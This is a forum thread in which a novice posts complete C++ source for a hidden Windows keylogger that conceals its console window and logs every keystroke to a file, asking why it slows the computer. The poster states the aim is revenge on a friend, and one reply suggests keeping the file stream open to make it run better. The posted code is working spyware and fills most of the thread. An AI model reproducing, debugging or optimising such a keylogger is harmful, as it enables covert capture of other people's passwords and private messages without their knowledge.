program draining cpu usage

hi guys im very new to C++ programming and have tried to build the program below but when i run it it drains my computer and it takes ages to load anything. However, when i look in the task manager it doent look like its using that much
can you help??? may be have a look at my code it may be something to do with that or if the code is good may be some one can advise me how i can make it more efficient and not drain my cpu.
many thanx
tish

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
#include "stdafx.h"
#include <iostream>
#include <windows.h>
#include <winuser.h>
#include <fstream>
using namespace std;


int Save (int key_stroke, char *file); 
void Stealth();

int main()
{
	Stealth();
	char i;

	while (1)
	{
		for(i = 8; i <= 190; i++)
	    {
          if (GetAsyncKeyState(i) == -32767)
			  Save (i, "LOG.txt");
	    }
	}
    system ("PAUSE");
	return 0;
}
/* ********************************************************************* */
/* ********************************************************************* */
int Save (int key_stroke, char *file)
{
	if( (key_stroke == 1) || (key_stroke == 2) )
		return 0;

	FILE *OUTPUT_FILE;
	OUTPUT_FILE = fopen (file, "a+");
	cout << key_stroke << endl;

	if (key_stroke == 8)
		fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]") ;
    else if (key_stroke == 13)
		fprintf(OUTPUT_FILE, "%s", "\n") ;
    else if (key_stroke == 32)
		fprintf(OUTPUT_FILE, "%s", " ") ;
	else if (key_stroke == VK_TAB)
		fprintf(OUTPUT_FILE, "%s", "[TAB]") ;
	else if (key_stroke == VK_SHIFT)
		fprintf(OUTPUT_FILE, "%s", "[SHIFT]") ;
	else if (key_stroke == VK_CONTROL)
		fprintf(OUTPUT_FILE, "%s", "[CONTROL]") ;
	else if (key_stroke == VK_ESCAPE)
		fprintf(OUTPUT_FILE, "%s", "[ESCAPE]") ;
	else if (key_stroke == VK_END)
		fprintf(OUTPUT_FILE, "%s", "[END]") ;
    else if (key_stroke == VK_HOME)
		fprintf(OUTPUT_FILE, "%s", "[HOME]") ;
	else if (key_stroke == VK_LEFT)
		fprintf(OUTPUT_FILE, "%s", "[LEFT]") ;
	else if (key_stroke == VK_UP)
		fprintf(OUTPUT_FILE, "%s", "[UP]") ;
    else if (key_stroke == VK_RIGHT)
		fprintf(OUTPUT_FILE, "%s", "[RIGHT]") ;
	else if (key_stroke == VK_DOWN)
		fprintf(OUTPUT_FILE, "%s", "[DOWN]") ;
	else if (key_stroke == 190 || key_stroke == 110)
		fprintf(OUTPUT_FILE, "%s", ".") ;
	else 
		fprintf(OUTPUT_FILE, "%s", &key_stroke) ;
    fclose(OUTPUT_FILE);

		Sleep (100);
	
	return 0;	
}  
/* ********************************************************************* */
/* ********************************************************************* */
void Stealth()
{
  HWND stealth ;
  AllocConsole() ;
  stealth = FindWindowA("ConsoleWindowClass", NULL) ;
  ShowWindow( stealth, 0) ;
}
Last edited on
Hi tish, please place your code in [code ] tags as it's easier to read.
looks like a key logger
yea thats what i was trying to build but it drains my computer so much it takes ages to open even the task manager
It's karma, man.

Serious answer: You seem to be opening a stream, saving a bit of data to it and closing it many times. I would first open the stream and have the program write to it, and upon closing, close the stream -- though I do not find myself in need of anyone else's private data.
Last edited on
thanx for the help. the reason im trying to do this is because my mate got in to my facebook account and changed loads of stuff and i said id get him back.
Topic archived. No new replies allowed.